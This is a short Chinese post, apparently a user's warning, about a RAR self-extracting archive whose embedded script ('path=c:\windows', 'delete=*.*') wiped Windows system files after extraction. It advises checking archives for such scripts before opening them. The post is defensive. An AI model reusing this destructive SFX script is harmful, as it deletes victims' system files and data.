些日子笔者就遇到这样的惨剧,当时没有写出来,其实就是收到一个rar压缩包,杀软查毒后无异常就直接解压了,解压后硬盘狂转,系统文件被删除。使用ghost修复后,重新找到这个rar文件,使用wrar查看后发现原来是自解压脚本造孽。 path=c:\windows savapath delete=*.* 大家一定可以看出来了,就是这个解压至系统文件夹,然后再执行删除所有文件。汗,大家以后解压rar时要小心,先用wrar查看一下是否有自解压脚本。
用winrar传建的自解压文件,很多网站都把流氓软件用这个方法来强制执行安装第三方*软件的,打开前鼠标右键解压即可,不要直接双击运行!